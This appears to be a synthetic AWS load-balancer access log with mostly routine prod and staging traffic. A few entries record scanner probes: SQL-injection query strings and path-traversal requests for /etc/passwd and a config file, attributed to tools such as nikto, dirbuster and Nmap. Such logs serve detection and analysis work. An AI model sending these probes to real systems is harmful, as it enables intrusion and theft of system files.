"251.195.95.192:443" "200" "-" "-" -https 2024-11-01T00:10:19.141352Z staging-alb 195.184.141.68:17396 32.125.84.145:80 0.038124 0.089115 0.021964 200 200 605 6794 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9fb-ef3208008eb84bf0bb5a9d12" "staging-alb.example.com" "-" 0 2024-11-01T00:10:19.141352Z "forward" "-" "-" "32.125.84.145:80" "200" "-" "-" -https 2024-11-01T00:10:19.653823Z prod-web-alb 7.243.48.172:36486 10.0.210.91:443 0.035705 0.383971 0.050989 200 200 848 4418 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9fb-47e38ad77b7a4dd1bb3dc85a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:10:19.653823Z "forward" "-" "-" "10.0.210.91:443" "200" "-" "-" -https 2024-11-01T00:10:20.665567Z prod-api-alb 180.112.220.75:33747 10.0.125.173:443 0.091185 0.357868 0.080498 301 301 655 6850 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9fc-60f4847a8f5743f58f356a29" "prod-api-alb.example.com" "-" 2 2024-11-01T00:10:20.665567Z "forward" "-" "-" "10.0.125.173:443" "301" "-" "-" -https 2024-11-01T00:10:21.145205Z prod-api-alb 197.210.251.146:61345 10.0.215.184:443 0.083032 0.096574 0.020960 302 302 395 13663 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9fd-d1bed4a6ae2c4fe6ae1d144d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:10:21.145205Z "forward" "-" "-" "10.0.215.184:443" "302" "-" "-" -https 2024-11-01T00:10:21.562086Z prod-api-alb 45.155.205.149:28997 10.0.99.129:443 0.057556 0.130408 0.088019 200 200 4 14832 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9fd-b004d743aaf147e9aef5f758" "-" "-" 4 2024-11-01T00:10:21.562086Z "forward" "-" "-" "10.0.99.129:443" "200" "-" "-" -https 2024-11-01T00:10:21.896106Z staging-alb 47.83.113.15:60395 12.204.58.9:80 0.048546 0.588657 0.089623 200 200 997 12842 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9fd-3040f565305e45b4af609e0b" "staging-alb.example.com" "-" 10 2024-11-01T00:10:21.896106Z "forward" "-" "-" "12.204.58.9:80" "200" "-" "-" -https 2024-11-01T00:10:22.467963Z prod-web-alb 117.101.30.142:32306 10.0.24.227:443 0.017074 0.121574 0.096950 302 302 875 1990 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9fe-a6bbe7e4715c40818f034e7f" "prod-web-alb.example.com" "-" 2 2024-11-01T00:10:22.467963Z "forward" "-" "-" "10.0.24.227:443" "302" "-" "-" -https 2024-11-01T00:10:23.265475Z prod-api-alb 247.214.38.165:28272 10.0.231.130:443 0.088040 0.452333 0.048469 200 200 575 4956 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9ff-374051f0aa0844cea6c2ce54" "prod-api-alb.example.com" "-" 7 2024-11-01T00:10:23.265475Z "forward" "-" "-" "10.0.231.130:443" "200" "-" "-" -https 2024-11-01T00:10:23.450935Z prod-api-alb 74.79.153.66:21012 10.0.170.208:443 0.093182 0.188227 0.083106 301 301 994 13199 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9ff-b0cc939fd45848f4b0f3e183" "prod-api-alb.example.com" "-" 8 2024-11-01T00:10:23.450935Z "forward" "-" "-" "10.0.170.208:443" "301" "-" "-" -https 2024-11-01T00:10:24.360873Z prod-api-alb 150.143.154.5:12513 10.0.105.143:443 0.060508 0.440679 0.064841 200 200 465 4372 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba00-05b65e0ad7924338a643dc25" "prod-api-alb.example.com" "-" 8 2024-11-01T00:10:24.360873Z "forward" "-" "-" "10.0.105.143:443" "200" "-" "-" -http 2024-11-01T00:10:25.787439Z staging-alb 125.63.89.223:54942 172.61.250.145:8080 0.024079 0.394765 0.061572 404 404 526 245 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba01-b9a26d31fe044dfca2cbca0b" "staging-alb.example.com" "-" 3 2024-11-01T00:10:25.787439Z "forward" "-" "-" "172.61.250.145:8080" "404" "-" "-" -https 2024-11-01T00:10:26.065533Z prod-api-alb 252.187.29.50:43007 10.0.11.99:443 0.039900 0.163331 0.092171 200 200 129 1775 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba02-e0255e3fb7d242659c11c31e" "prod-api-alb.example.com" "-" 4 2024-11-01T00:10:26.065533Z "forward" "-" "-" "10.0.11.99:443" "200" "-" "-" -https 2024-11-01T00:10:26.869931Z prod-api-alb 217.137.11.93:47021 10.0.200.240:443 0.087691 0.167187 0.037351 200 200 992 6188 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba02-acfcc85776ac456f8d0b0506" "prod-api-alb.example.com" "-" 9 2024-11-01T00:10:26.869931Z "forward" "-" "-" "10.0.200.240:443" "200" "-" "-" -https 2024-11-01T00:10:28.078178Z staging-alb 204.221.53.144:25500 8.98.211.81:443 0.124419 0.013417 0.090705 200 200 564 5477 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba04-be293ea1aa8f43da8f724b58" "staging-alb.example.com" "-" 9 2024-11-01T00:10:28.078178Z "forward" "-" "-" "8.98.211.81:443" "200" "-" "-" -https 2024-11-01T00:10:29.306709Z prod-api-alb 45.155.205.142:42410 10.0.81.179:443 0.023339 0.124640 0.005819 403 403 100 9634 "GET /../../../etc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba05-98fd8794e066430e9f001539" "-" "-" 6 2024-11-01T00:10:29.306709Z "forward" "-" "-" "10.0.81.179:443" "403" "-" "-" -http 2024-11-01T00:10:30.881571Z staging-alb 89.108.100.214:20765 163.132.30.40:443 0.086683 0.067804 0.061158 200 200 372 10194 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba06-e4cbe658a4914b85b4155d34" "staging-alb.example.com" "-" 6 2024-11-01T00:10:30.881571Z "forward" "-" "-" "163.132.30.40:443" "200" "-" "-" -http 2024-11-01T00:10:31.148586Z staging-alb 163.203.213.158:58165 175.144.108.153:443 0.106597 0.538634 0.135759 404 404 483 12241 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba07-80fc0258305340b3b7233872" "-" "-" 4 2024-11-01T00:10:31.148586Z "forward" "-" "-" "175.144.108.153:443" "404" "-" "-" -https 2024-11-01T00:10:32.601131Z prod-api-alb 1.136.189.44:36084 10.0.7.185:443 0.047300 0.298847 0.083998 200 200 595 11103 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba08-f000780f4b424685bd495700" "prod-api-alb.example.com" "-" 0 2024-11-01T00:10:32.601131Z "forward" "-" "-" "10.0.7.185:443" "200" "-" "-" -https 2024-11-01T00:10:34.012357Z prod-web-alb 251.8.159.115:23735 10.0.58.68:443 0.070163 0.454163 0.094573 302 302 206 4929 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba0a-a86e8755c3884a3698b8e37b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:10:34.012357Z "forward" "-" "-" "10.0.58.68:443" "302" "-" "-" -https 2024-11-01T00:10:34.415309Z prod-api-alb 52.141.164.216:31281 10.0.102.244:443 0.037750 0.014010 0.092319 200 200 116 9607 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba0a-b8b6871cf1654afdb9026b8d" "prod-api-alb.example.com" "-" 6 2024-11-01T00:10:34.415309Z "forward" "-" "-" "10.0.102.244:443" "200" "-" "-" -https 2024-11-01T00:10:34.973274Z prod-api-alb 166.82.7.163:63652 10.0.205.105:443 0.043026 0.256790 0.005578 200 200 678 9399 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba0a-cf2d3e570cdb402482ac2607" "prod-api-alb.example.com" "-" 0 2024-11-01T00:10:34.973274Z "forward" "-" "-" "10.0.205.105:443" "200" "-" "-" -https 2024-11-01T00:10:35.477472Z prod-api-alb 185.10.61.82:41556 10.0.53.79:443 0.088111 0.201273 0.097063 302 302 698 14064 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba0b-0fbb0d228f4c4dbdadfd4b56" "prod-api-alb.example.com" "-" 1 2024-11-01T00:10:35.477472Z "forward" "-" "-" "10.0.53.79:443" "302" "-" "-" -https 2024-11-01T00:10:35.655580Z prod-api-alb 133.88.105.83:14407 10.0.215.84:443 0.032501 0.313480 0.042190 200 200 27 1879 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba0b-a79722edc53543188fd8f425" "prod-api-alb.example.com" "-" 7 2024-11-01T00:10:35.655580Z "forward" "-" "-" "10.0.215.84:443" "200" "-" "-" -https 2024-11-01T00:10:36.488641Z staging-alb 205.82.189.62:35682 153.34.226.121:8080 0.126427 0.362888 0.092280 302 302 546 3791 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba0c-3343efea07e04ffe99975489" "staging-alb.example.com" "-" 0 2024-11-01T00:10:36.488641Z "forward" "-" "-" "153.34.226.121:8080" "302" "-" "-" -https 2024-11-01T00:10:38.024898Z prod-api-alb 238.82.54.46:59006 10.0.38.222:443 0.096427 0.243285 0.018697 404 404 995 5385 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba0e-c0c00d28d25a4857892ca73f" "prod-api-alb.example.com" "-" 5 2024-11-01T00:10:38.024898Z "forward" "-" "-" "10.0.38.222:443" "404" "-" "-" -http 2024-11-01T00:10:39.877319Z staging-alb 50.179.11.19:45251 208.175.40.27:80 0.031937 0.039501 0.090467 200 200 887 2737 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba0f-ac33be21b9b04625818e8f21" "staging-alb.example.com" "-" 2 2024-11-01T00:10:39.877319Z "forward" "-" "-" "208.175.40.27:80" "200" "-" "-" -http 2024-11-01T00:10:40.129514Z staging-alb 27.231.252.50:25018 154.154.162.67:8080 0.084344 0.119005 0.043943 200 200 491 6292 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba10-e1e91dffdd2c4572be5ca602" "staging-alb.example.com" "-" 8 2024-11-01T00:10:40.129514Z "forward" "-" "-" "154.154.162.67:8080" "200" "-" "-" -https 2024-11-01T00:10:40.393344Z prod-api-alb 53.75.175.44:56788 10.0.200.90:443 0.078210 0.414738 0.032151 302 302 995 3962 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba10-cf0f88b98b30470e902c2543" "prod-api-alb.example.com" "-" 0 2024-11-01T00:10:40.393344Z "forward" "-" "-" "10.0.200.90:443" "302" "-" "-" -https 2024-11-01T00:10:41.945922Z staging-alb 177.55.41.180:28177 79.59.245.160:443 0.035115 0.064737 0.039113 302 302 2 10344 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba11-2a6c6311fe9c4268ac0ab64d" "staging-alb.example.com" "-" 9 2024-11-01T00:10:41.945922Z "forward" "-" "-" "79.59.245.160:443" "302" "-" "-" -https 2024-11-01T00:10:42.818117Z prod-api-alb 253.64.35.202:63802 10.0.38.168:443 0.002350 0.010480 0.056763 302 302 299 5645 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba12-2c9c2b9054034093a9f823a5" "prod-api-alb.example.com" "-" 9 2024-11-01T00:10:42.818117Z "forward" "-" "-" "10.0.38.168:443" "302" "-" "-" -https 2024-11-01T00:10:43.505049Z prod-api-alb 219.26.210.36:26942 10.0.5.2:443 0.020736 0.143724 0.047985 404 404 661 4261 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba13-13dbc153124b40669df69263" "prod-api-alb.example.com" "-" 6 2024-11-01T00:10:43.505049Z "forward" "-" "-" "10.0.5.2:443" "404" "-" "-" -https 2024-11-01T00:10:44.266268Z prod-api-alb 2.29.78.11:61163 10.0.255.86:443 0.016506 0.100236 0.056572 200 200 227 924 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba14-cc1c265fc9e844328e2cd38d" "-" "-" 7 2024-11-01T00:10:44.266268Z "forward" "-" "-" "10.0.255.86:443" "200" "-" "-" -https 2024-11-01T00:10:45.852562Z staging-alb 168.41.221.243:10936 42.224.16.140:80 0.132446 0.356836 0.104826 200 200 572 6799 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba15-d3cc2aa8452f47f9a3827a60" "staging-alb.example.com" "-" 8 2024-11-01T00:10:45.852562Z "forward" "-" "-" "42.224.16.140:80" "200" "-" "-" -http 2024-11-01T00:10:47.116017Z staging-alb 157.89.210.232:14805 194.230.43.233:80 0.010295 0.705356 0.072747 301 301 664 3725 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba17-b11e743713b847c1a8d2a93d" "staging-alb.example.com" "-" 4 2024-11-01T00:10:47.116017Z "forward" "-" "-" "194.230.43.233:80" "301" "-" "-" -https 2024-11-01T00:10:47.218941Z prod-web-alb 110.219.46.28:55352 10.0.57.191:443 0.083414 0.486821 0.002889 200 200 456 666 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba17-024afde7b2e04fa9afac20f4" "prod-web-alb.example.com" "-" 1 2024-11-01T00:10:47.218941Z "forward" "-" "-" "10.0.57.191:443" "200" "-" "-" -http 2024-11-01T00:10:47.524581Z staging-alb 185.181.76.214:51133 81.146.211.229:8080 0.148967 0.367959 0.011600 403 403 5 7058 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba17-289a2fd5cc2a4c94aa54affb" "-" "-" 7 2024-11-01T00:10:47.524581Z "forward" "-" "-" "81.146.211.229:8080" "403" "-" "-" -https 2024-11-01T00:10:48.955816Z prod-api-alb 56.222.118.242:16435 10.0.238.183:443 0.097038 0.499818 0.029985 302 302 894 9675 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba18-43d928a10bdc461bb271a0f0" "prod-api-alb.example.com" "-" 8 2024-11-01T00:10:48.955816Z "forward" "-" "-" "10.0.238.183:443" "302" "-" "-" -https 2024-11-01T00:10:49.312735Z prod-web-alb 13.77.246.120:60570 10.0.118.100:443 0.095716 0.465197 0.045604 200 200 414 5332 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba19-5342ee0d307c4c14ab711e0e" "prod-web-alb.example.com" "-" 0 2024-11-01T00:10:49.312735Z "forward" "-" "-" "10.0.118.100:443" "200" "-" "-" -https 2024-11-01T00:10:49.915388Z staging-alb 160.68.98.146:27623 165.165.130.252:443 0.068149 0.155938 0.146871 200 200 712 11351 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba19-90aaef947ef44cb0b5819f3c" "staging-alb.example.com" "-" 9 2024-11-01T00:10:49.915388Z "forward" "-" "-" "165.165.130.252:443" "200" "-" "-" -https 2024-11-01T00:10:51.143338Z prod-api-alb 224.74.84.249:11653 10.0.179.238:443 0.062801 0.145506 0.035452 200 200 972 14513 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba1b-cce67240b4a84a28a05fa0d6" "prod-api-alb.example.com" "-" 2 2024-11-01T00:10:51.143338Z "forward" "-" "-" "10.0.179.238:443" "200" "-" "-" -http 2024-11-01T00:10:52.260513Z staging-alb 81.69.79.253:61034 213.110.249.85:443 0.138069 0.250971 0.080112 302 302 8 9299 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba1c-f9f1652110cd4a8ebebc7955" "staging-alb.example.com" "-" 7 2024-11-01T00:10:52.260513Z "forward" "-" "-" "213.110.249.85:443" "302" "-" "-" -https 2024-11-01T00:10:53.109327Z staging-alb 143.148.104.26:30026 100.39.225.3:8080 0.031572 0.246417 0.124807 200 200 970 1720 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba1d-f0f5cadbb38c4c69b37e3dbd" "staging-alb.example.com" "-" 4 2024-11-01T00:10:53.109327Z "forward" "-" "-" "100.39.225.3:8080" "200" "-" "-" -http 2024-11-01T00:10:53.360247Z staging-alb 58.49.110.237:31541 94.254.244.242:8080 0.142796 0.018186 0.070134 200 200 293 4301 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba1d-292ee77da8954123941276f6" "staging-alb.example.com" "-" 10 2024-11-01T00:10:53.360247Z "forward" "-" "-" "94.254.244.242:8080" "200" "-" "-" -https 2024-11-01T00:10:54.636113Z prod-web-alb 61.88.168.48:60092 10.0.133.234:443 0.003023 0.277721 0.097121 301 301 529 2242 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba1e-2ab58e8278974484b761b2b1" "prod-web-alb.example.com" "-" 4 2024-11-01T00:10:54.636113Z "forward" "-" "-" "10.0.133.234:443" "301" "-" "-" -https 2024-11-01T00:10:55.025858Z prod-web-alb 193.27.228.181:18085 10.0.17.70:443 0.022987 0.192129 0.055108 404 404 136 9870 "GET /api/../../../config HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba1f-0d64c4ad910b44d1a47984ed" "-" "-" 10 2024-11-01T00:10:55.025858Z "forward" "-" "-" "10.0.17.70:443" "404" "-" "-" -https 2024-11-01T00:10:55.535293Z prod-api-alb 145.79.236.46:33392 10.0.186.240:443 0.025571 0.155836 0.038443 301 301 934 9267 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba1f-7cb6fbf7199c4122a2bc9ddf" "prod-api-alb.example.com" "-" 2 2024-11-01T00:10:55.535293Z "forward" "-" "-" "10.0.186.240:443" "301" "-" "-" -https 2024-11-01T00:10:56.541306Z prod-api-alb 216.174.21.53:17876 10.0.84.105:443 0.096597 0.146624 0.022550 404 404 762 5526 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba20-606d69e4804f49358e4aed93" "prod-api-alb.example.com" "-" 6 2024-11-01T00:10:56.541306Z "forward" "-" "-" "10.0.84.105:443" "404" "-" "-" -https 2024-11-01T00:10:56.795955Z prod-web-alb 142.158.36.163:19198 10.0.2.191:443 0.081176 0.270704 0.027734 200 200 718 12875 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba20-1de301e98ddb4b68bad785fd" "prod-web-alb.example.com" "-" 0 2024-11-01T00:10:56.795955Z "forward" "-" "-" 